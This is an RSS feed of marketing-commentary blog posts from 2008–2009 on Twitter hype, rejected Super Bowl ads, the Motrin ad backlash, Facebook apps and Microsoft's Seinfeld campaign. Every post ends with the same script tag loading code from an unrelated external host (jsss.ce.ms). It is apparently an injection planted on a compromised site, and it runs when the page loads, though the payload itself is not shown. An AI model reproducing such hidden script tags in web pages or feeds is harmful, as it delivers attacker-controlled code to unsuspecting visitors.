<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Escalate - Marketing Critique &#187; buzz</title>
	<atom:link href="http://skal8.com/category/buzz/feed/" rel="self" type="application/rss+xml" />
	<link>http://skal8.com</link>
	<description>Marketing to consumers in control</description>
	<lastBuildDate>Tue, 01 Feb 2011 05:12:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>How Twitter generates so much hype</title>
		<link>http://skal8.com/buzz/how-twitter-generates-so-much-hype/</link>
		<comments>http://skal8.com/buzz/how-twitter-generates-so-much-hype/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 01:57:16 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[commenters]]></category>
		<category><![CDATA[community]]></category>
		<category><![CDATA[hype]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=109</guid>
		<description><![CDATA[By this point you&#8217;d have to be living under a rock not to have heard of Twitter.   Everyone from Oprah to CNBC has spent time talking about the microblogging system and its phenomenal growth.  A far fewer percentage of people &#8230; <a href="http://skal8.com/buzz/how-twitter-generates-so-much-hype/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>By this point you&#8217;d have to be living under a rock not to have heard of <a title="My twitter account" href="http://twitter.com/armondhammer">Twitter</a>.   Everyone from Oprah to <a href="http://www.cnbc.com">CNBC</a> has spent time talking about the microblogging system and its phenomenal growth.  A far fewer percentage of people seem to understand the utility of the service.  Certainly the controversy surrounding the Iran elections and twitter&#8217;s utility have explained it to some.  Regardless of this, most still seem to think of it as a place full of narcissists eager to tell you how much they enjoyed something trivial like their last sandwich.  I&#8217;m not here to explain it&#8217;s purpose and power, but explain why something that most consider small keeps generating big coverage.</p>
<p>It requires a basic understanding of Internet users.  The vast majority of people that use the internet are content consumers.  Sites are built to make this group of users be able to consume content easily.   On the other side, there&#8217;s a small percentage that create content.  Some are professionals, but the vast majority of creators toil in relative anonymity, but continue to produce.  These are the folks that <a href="http://www.stir.com">create reviews</a> at sites like <a href="http://www.citysearch.com">citysearch</a> and comment on newspaper stories.   They are, virtually by definition, incredibly eager to share their thoughts.</p>
<p>These content creators are the most vital and active Twitter users.  They see the power of the system to push out their message, and are eager to defend its virtue.  Twitter can provide a megaphone for content creators of prior obscurity, and further amplify the voice of a loud organization or celebrity.  Since psychographically they are the same as blog commenters, they aren&#8217;t afraid to provide input into any article written about their new soap box.  This creates activity and action on sites that write about twitter.  It creates a cycle, which is self reinforcing.</p>
<p>Oddly enough, it doesn&#8217;t yet matter if the masses adopt it.  It will, as the ability to push a message to the masses is what is attractive in the first place.  But for generating hype, it doesn&#8217;t matter.</p>
<p>There&#8217;s a lot that any business can learn here.  Your best customers are your most powerful advocates.  Make it easy to share your message and they will.  Also, never forget the value you are giving to your best customers.  Twitter provides value by giving a voice, and their best customers repay them by returning the favor in hype.  Nothing is more viral than that.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/how-twitter-generates-so-much-hype/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The buzz and PR strategy of a rejected ad</title>
		<link>http://skal8.com/branding/the-buzz-and-pr-strategy-of-a-rejected-ad/</link>
		<comments>http://skal8.com/branding/the-buzz-and-pr-strategy-of-a-rejected-ad/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 22:21:28 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[dating]]></category>
		<category><![CDATA[NFL]]></category>
		<category><![CDATA[PR stunts]]></category>
		<category><![CDATA[rejected ads]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=84</guid>
		<description><![CDATA[The NFL and the super bowl have recently been the targets of an agressive buzz strategy that works quite well, unfortunately.   Submit an ad that gets rejected, but follows all of the listed rules.  GoDaddy went from just another web &#8230; <a href="http://skal8.com/branding/the-buzz-and-pr-strategy-of-a-rejected-ad/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The NFL and the super bowl have recently been the targets of an agressive buzz strategy that works quite well, unfortunately.   Submit an ad that gets rejected, but follows all of the listed rules.  <a href="http://www.godaddy.com">GoDaddy</a> went from just another web registrar to a near household name by making a racy ad.  The ad made fun of the prior years &#8220;wardrobe malfunction.&#8221; and the NFL wasn&#8217;t done smarting over the overexposure.  Several recuts later, GoDaddy made an advertisment deemed acceptable.  However they took their outrage to the press who was more than happy to let them tell their story.</p>
<p>In the end, the ad wasn&#8217;t very good, but they had more than made up for it in buzz.  They&#8217;ve repeated the stunt for several years, by always trying to push the letter of the law to the limit.</p>
<p>The latest in the string of &#8220;PRstunt-erists&#8221; is a dating website that promotes affairs and cheating.  Darren Rovell of CNBC was kind enough to provide them with a blog post about how their <a href="http://www.cnbc.com/id/28654770">ad for the Super Bowl Program was denined.<br />
</a></p>
<p>Darren, when you post links to the site, the PRstunt-erists win.  They could have gotten maybe 100,000 people to notice their ad, and your coverage might generate 10x that.</p>
<p>Personally, I stand behind the NFL and their decison to deny the ad.  In fact to atone, I think they should offer a free ad in the program to the dating site that is the polar opposite.  One that is not for married people and is free &#8211; the <a href="http://www.downtoearth.com">free dating site</a> downtoearth.com.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/the-buzz-and-pr-strategy-of-a-rejected-ad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A basic point, new media is interactive, not just digital</title>
		<link>http://skal8.com/buzz/a-basic-point-new-media-is-interactive-not-just-digital/</link>
		<comments>http://skal8.com/buzz/a-basic-point-new-media-is-interactive-not-just-digital/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 17:37:33 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Participation]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[brand management]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[internet marketing]]></category>
		<category><![CDATA[new media]]></category>
		<category><![CDATA[old media]]></category>
		<category><![CDATA[paid and natural search results]]></category>
		<category><![CDATA[paradigm shifts]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=65</guid>
		<description><![CDATA[This weekend I met a fellow marketer who worked for a very old school company that shall remain nameless.  She used to do &#8220;digital&#8221; marketing for them, but they decided to turn that over to their agency and have her &#8230; <a href="http://skal8.com/buzz/a-basic-point-new-media-is-interactive-not-just-digital/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This weekend I met a fellow marketer who worked for a very old school company that shall remain nameless.  She used to do &#8220;digital&#8221; marketing for them, but they decided to turn that over to their agency and have her refocus elsewhere.  She went on to describe brand managers that didn&#8217;t understand the difference between paid and natural search results and a CEO that could barely use the Internet.  My mouth was literally open the more she described the culture.</p>
<p>While it&#8217;s hard for anyone to change a culture like that, it&#8217;s pretty clear that&#8217;s its wrong from the get go.  Marketing on the Internet isn&#8217;t merely digital, it&#8217;s interactive.  It&#8217;s a conversation, not a soapbox.  It&#8217;s not just a marketing channel, it&#8217;s a completely different medium.</p>
<p>However, it&#8217;s awfully hard to get people to understand the power of a medium they barely know how to use.  CEOs are just to busy worrying about other things to &#8220;surf&#8221; and learn to adopt a new behavior.</p>
<p>What would I do in this situation?  I&#8217;d bring up case studies both good and bad.  If it&#8217;s a competitive threat, it tends to get a response.  Take a look a blogs like <a href="http://consumerist.com/">the consumerist</a> and see how often you&#8217;ve been listed.  It&#8217;s important to make people aware that people on the Internet will talk about your brand regardless, so it&#8217;s better to be involved than try to ignore it.</p>
<p>As I was writing this, I found this <a href="http://www.nytimes.com/2008/11/23/magazine/23roundtable-t.html?_r=1&amp;ref=magazine&amp;pagewanted=all">great interview about how ad agencies are changing their approach to interactive</a>.  It&#8217;s a great read, especially for those that would call internet marketing &#8220;digital.&#8221;  <a title="See you in the operating place!" href="http://flickr.com/photos/49503124519@N01/106977271"><img src="http://farm1.static.flickr.com/48/106977271_b9e4a6f557_t.jpg" alt="" /></a><a title="Marantz PMD620 Digital Audio Recorder" href="http://flickr.com/photos/44124452748@N01/1455247119"><img src="http://farm2.static.flickr.com/1003/1455247119_c85f9a7c01_t.jpg" alt="" /></a><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/a-basic-point-new-media-is-interactive-not-just-digital/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter and youtube brings down an ad campaign</title>
		<link>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/</link>
		<comments>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 19:05:09 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Participation]]></category>
		<category><![CDATA[Shock]]></category>
		<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[motrin]]></category>
		<category><![CDATA[online buzz]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wasted media buys]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=61</guid>
		<description><![CDATA[Johnson and Johnson pulled a recent print campaign for Motrin after significant online buzz revealed an underlying feeling of offense.  The campaign was intended to show they understood the pain that mom&#8217;s feel over raising their children with Motrin as &#8230; <a href="http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Johnson and Johnson pulled a recent print campaign for Motrin after significant online buzz revealed an underlying feeling of offense.  The campaign was intended to show they understood the pain that mom&#8217;s feel over raising their children with Motrin as the obvious answer.  The execution, however, showed anything but understanding.</p>
<p>By implying that babies are a fashion accessory, J&amp;J insulted the bond between a mother and a child.  <a href="http://adage.com/digital/article?article_id=132622">This video on youtube shows a number of people&#8217;s feelings about the insult. Advertising Age provides an excellent overview of the time line here as well</a>.</p>
<p>To my way of thinking the failure was in not actually having anything to say.  Any pain reliever could have said the same thing.  If all you have to say is that you understand your target, you&#8217;d better make sure that you actually do.  In this case J&amp;J and Taxi clearly did not.</p>
<p>Pulling the campaign was the right move in this case, not because of the critics, but because it was very unlikely to be effective.  I would actually say they were fortunate that people were as vocal as they were so they could avoid wasting hundred of thousands in wasted media buys.</p>
<p>There&#8217;s a lesson here about &#8220;common interest&#8221; campaigns and social media.  The buzz will say one of a few things.  &#8220;Wow this brand really gets me&#8221; or &#8220;I hate it&#8221;  With the instant communication options open today, it would be very smart to monitor the buzz and react quickly.  If you get the Wow, ramp up.  If you get the latter kill it and listen to the reasons why.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook changes alter rules for viral apps</title>
		<link>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/</link>
		<comments>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 03:47:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=49</guid>
		<description><![CDATA[Facebook and MySpace have been one of the epicenters for viral mini programs known as apps or widgets.&#160; The functionality for these programs varies from one time challenges issued to your friends online, to complicated interactive games.&#160; Some are mere &#8230; <a href="http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Facebook and MySpace have been one of the epicenters for viral mini programs known as apps or widgets.&nbsp; The functionality for these programs varies from one time challenges issued to your friends online, to complicated interactive games.&nbsp; Some are mere decorations while others are massive organizers for important personal information.&nbsp; In some of the best cases, your functionality in the app depended on the size of your network and the number of your friends which installed it.&nbsp; Many have had millions of instaills, like Slide&#8217;s <a mce_href="http://www.new.facebook.com/applications/#/apps/application.php?id=2378983609&amp;b=&amp;ref=pd_r_c" href="http://www.new.facebook.com/applications/#/apps/application.php?id=2378983609&amp;b=&amp;ref=pd_r_c">Funspace</a>, or <a mce_href="http://www.new.facebook.com/apps/application.php?id=3396043540&amp;b=&amp;ref=pd_r_c" href="http://www.new.facebook.com/apps/application.php?id=3396043540&amp;b=&amp;ref=pd_r_c">Pieces of Flair</a> by rockyou.&nbsp; Millions have had very few installs, however.</p>
<p>More often than not, the viral nature worked simply.&nbsp; You install the app, everyone that you are friends with becomes aware of the install through your newsfeed or direct invites, and it becomes an innocuous part of a persons profile.&nbsp; Every time a user visits his or her profile, the small frame of the app becomes an active user. </p>
<p>Recently, the controversial facebook redesign has made apps far less prominent.&nbsp; They now have been relegated to the &#8220;boxes&#8221; tab on a users profile, forcing a user to actively engage.&nbsp;&nbsp; It would seem as if this has caused <a mce_href="http://www.alleyinsider.com/2008/10/facebook-redesign-succeeds-widgets-are-dead" href="http://www.alleyinsider.com/2008/10/facebook-redesign-succeeds-widgets-are-dead">traffic to many apps to plummet dramatically</a>.&nbsp; The reverse is true for a few.&nbsp; Estimated app <a mce_href="http://adonomics.com/about/2427603417" href="http://adonomics.com/about/2427603417">valuations have also apparetly plummeted as well</a>.</p>
<p>It seems as if the second stage for apps has begun.&nbsp; Its no longer going to be enough to follow the viral strategy 101 and just push for installs.&nbsp; App makers will need to build apps that are engaging, not merely virally marketed well.</p>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nintendo breaks a wall online, creates a remarkable ad</title>
		<link>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/</link>
		<comments>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 01:22:16 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[Nintendo]]></category>
		<category><![CDATA[videos]]></category>
		<category><![CDATA[web browser]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=46</guid>
		<description><![CDATA[Lets just admit it, so much information is in front of any of us on a given day that its getting harder to impress and create remarkable ads.&#160; The Super Bowl spectacle every years is often the lone place where &#8230; <a href="http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lets just admit it, so much information is in front of any of us on a given day that its getting harder to impress and create remarkable ads.&nbsp; The Super Bowl spectacle every years is often the lone place where the average individual goes to seek out a commercial.&nbsp; With the exception of Apple and maybe a few Bud Light commericals, not to many get talked about at the water cooler anymore.</p>
<p>Leave it to Nintendo to break every other rule and create <a mce_href="http://www.youtube.com/experiencewii" href="http://www.youtube.com/experiencewii">an ad that people will seek out</a>.&nbsp; Using the now familiar idiom of leaked footage of a new game uploaded to youtube, they continue to make the video break out of the frame to make the entire web browser appear to be broken apart by the rough game play.&nbsp; It delivers a message that illustrates the uniqueness of the game in a way that&#8217;s very easy to understand.&nbsp;</p>
<p><a href="http://flickr.com/photos/11682787@N05/2319278475" mce_href="http://flickr.com/photos/11682787@N05/2319278475" title="1up Mario Green Wallpaper"><img class="alignleft" src="http://farm3.static.flickr.com/2005/2319278475_65f7c3df64_t.jpg" mce_src="http://farm3.static.flickr.com/2005/2319278475_65f7c3df64_t.jpg" width="100" height="75"></a>How effective has it been?&nbsp; As of this writing about 12 days after it posted, over 2.3M views have been logged.&nbsp; Pretty amazing for something that is nothing more than an ad.</p>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>User Created Videos to show common interests</title>
		<link>http://skal8.com/branding/user-created-videos-to-show-common-interests/</link>
		<comments>http://skal8.com/branding/user-created-videos-to-show-common-interests/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 20:59:52 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Participation]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[Circuit City]]></category>
		<category><![CDATA[Dallas]]></category>
		<category><![CDATA[football]]></category>
		<category><![CDATA[user generated]]></category>
		<category><![CDATA[videos]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=43</guid>
		<description><![CDATA[Last year a video prognosticator, Kige Ramsey, got his 15 minutes of fame when he correctly predicted every game for the first weekend.  Dallas radio, in particular picked him up for interviews.  Deadspin nominated him for their youtube hall of &#8230; <a href="http://skal8.com/branding/user-created-videos-to-show-common-interests/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last year a video prognosticator, Kige Ramsey, got his 15 minutes of fame when he c<a href="http://www.youtube.com/watch?v=uk6BQbS3Y1A">orrectly predicted every game for the first weekend</a>.  Dallas radio, in particular picked him up for interviews.  Deadspin nominated him for their youtube hall of fame.  Numerous others followed putting up videos of their NFL picks, but none could match the great Kige.  He, in turn, started to post his opinions on everything, from <a href="http://www.youtube.com/watch?v=88DX45Ex9yE">Nicole Ritchie</a> to relationship advice.</p>
<p>After seeing the success of these efforts, Circuit City launched their <a href="http://www.youtube.com/fanalysts">FANALYSTS&#8217;s Channel</a>.  The sponsored channel encourages users to upload fantasy football analysts to upload videos which are hand selected for inclusion on the channel.  There is no hard sell for Circuit City, but there&#8217;s lots of their logo everywhere.  Much in the tradition of Kige, the videos frequently diverge from football to broader pop culture like Heroes and politics.</p>
<p>I&#8217;ll give credit to Circuit City for being a part of a &#8220;movment&#8221; instead of trying to invent thier own.  By demonstrating their understanding and providing a launching pad for content generators, they are trying to get ahead of their rival.   The traction isn&#8217;t great thus far, but I think it&#8217;s a nice use of user generated content.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/user-created-videos-to-show-common-interests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seinfeld out for Microsoft?  Who cares &#8211; Look at the buzz</title>
		<link>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/</link>
		<comments>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 22:17:28 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[buzz]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[conversation]]></category>
		<category><![CDATA[Jerry Seinfeld]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[online elitist]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[public relations]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=32</guid>
		<description><![CDATA[Only a few weeks into the new campagn, Microsoft has pulled the plug on pitchman Jerry Seinfeld.  According to Microsoft, the move was planned from the beginning.  Given the amount of time that it takes to shoot a commercial and &#8230; <a href="http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Only a few weeks into the new campagn, Microsoft has <a title="Techcrunch" href="http://www.techcrunch.com/2008/09/17/its-over-for-seinfeld-but-crispin-porter-keeps-microsoft-business/">pulled the plug on pitchman Jerry Seinfeld</a>.  According to Microsoft, the move <a href="http://www.businesssheet.com/2008/9/microsoft-we-didn-t-fire-jerry-seinfeld">was planned from the beginning</a>.  Given the amount of time that it takes to shoot a commercial and the fact they <a title="CNBC" href="http://www.cnbc.com/id/26777498">apparently have a new one set to debut this week</a>, it is fairly believable.</p>
<p>My interest here is the sheer amount of conversation this move has created.  I&#8217;m not sure if Crispin Porter + Bogusky is that brilliant, but they did claim from the beginning they were trying to get people to talk about windows and the campaign.  That has most certainly been achieved.  The two million video views on youtube, as noted in my prior post, is pretty strong evidence.</p>
<p>What I remain puzzled by is such moves have created a negative buzz.  The old rule of PR was: &#8220;I don&#8217;t care what they say, just make sure they spell the name right&#8221; but I can&#8217;t believe it applies in this case.  Also if as rumored they are going straight after the much beloved Mac/PC ads, they are certain to encounter an even bigger storm of negativity.  </p>
<p>However, the person that really needs to be convinced is not the online elitist, but an &#8220;average&#8221; consumer who doesn&#8217;t write blogs or get as involved in advertising and marketing as some others.  Is the bewilderment over the first couple of ads real for them, or did they just enjoy watching Seinfeld again?  Did people start to change their opinion of Microsoft after seeing some commercials that were nearly completely unrelated to actual products?  Will they even attribute those few vignettes to Microsoft at all?  My guess is most people somewhat enjoyed the commercials and shifted their opinion every so slightly positively for Microsoft.  It&#8217;s nudging a battle ship, but still an ever so slight move in the right direction.  </p>
<p>There&#8217;s still a big risk to this approach, and according to most the effort has been very expensive.  Microsoft is attacking a huge strategic problem of a bad corporate image in a very unusual way, but with an impressive and patient approach.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft and Seinfeld &#8211; An ad campaign about nothing?</title>
		<link>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/</link>
		<comments>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 14:58:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[American Express]]></category>
		<category><![CDATA[Bill]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Jerry Seinfeld]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[traditional media]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=27</guid>
		<description><![CDATA[Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular &#8230; <a href="http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular season of NFL football and left many wondering what the point was.  The spot, featured below, showed Jerry and Bill meeting in a shoe store and ended with Jerry wondering if Bill could make computers more delicious.  Up until the end, I thought it was a commercial for American Express, especially when the mention was made of the shoe carnival points.   The spot was an impressive 1:30, <a href="http://valleywag.com/5045727/jerry-seinfeld-bill-gates-star-in-nonsensical-new-ad-campaign">but really didn&#8217;t say anything at all</a>.</p>
<p>The second installment debuted on microsoft, and was quickly ported over to youtube (<a href="http://www.youtube.com/user/WindowsVideos">by microsoft themselves</a>).  This video is over four minutes long and reveals a bit more about the reason behind the campaign.  Windows wants to connect with real people.  To do so they employed two extraordinary wealthy individuals and &#8220;embedded&#8221; them into a normal family.  Again, the feature has very little about computers.  However, <a href="http://www.alleyinsider.com/2008/9/just-admit-it-the-new-microsoft-seinfeld-ad-is-funny">this one is pretty funny, despite being a bit confusing</a>.</p>
<p>There are a number of very interesting things here.  The second commercial (more accuratly a webisode) tells you exactly what the first was trying to accomplish.  It&#8217;s so above board about it, that you can&#8217;t help but respect that Microsoft realizes they have a very serious image problem.</p>
<p><span id="more-27"></span></p>
<p>The second interesting point is the amount of buzz these items have generated.  Each of the videos has generated around 1M views on youtube.  That&#8217;s no sneezing panda, but pretty sold for a video that&#8217;s been up for only a few weeks and requires an attention span longer than the typical 14 year old in need or ritalin (or average blogger for that matter).  Lots of people may hate it, but they are taking the time to post, comment and otherwise communicate about it.  It is sparking an honest debate.  That&#8217;s quite impressive given that a vast majority of Microsoft postings in the past tended to be harshly critical.</p>
<p>At the bottom line, I&#8217;m not sure if the commercial will be all that effective or not.  It&#8217;s quite the undertaking to take a brand as well known as Microsoft and change they way people view it.  In the end it might end up be an ad campaign about nothing.   However, at the very least they are taking on a huge problem in a very impressive manner using methods that only they could.</p>
<p>Smaller brands can learn a lot from this situation.  The biggest lesson is to never let your brand get this far out of control.  They were the big bad monopolist for a very long time and tended to ignore consumers along the way.  It&#8217;s what got Microsoft in the pickle between apple and needing to do a campaign like this.  The second lesson is that respecting your consumer&#8217;s intelligence can go a long way toward getting your message spread.  It&#8217;s my opinion that the reason this ad is generating this level of communicaiton is how frank and honest it is about the situation they are trying to address.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" allowfullscreen="true"></embed></object></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

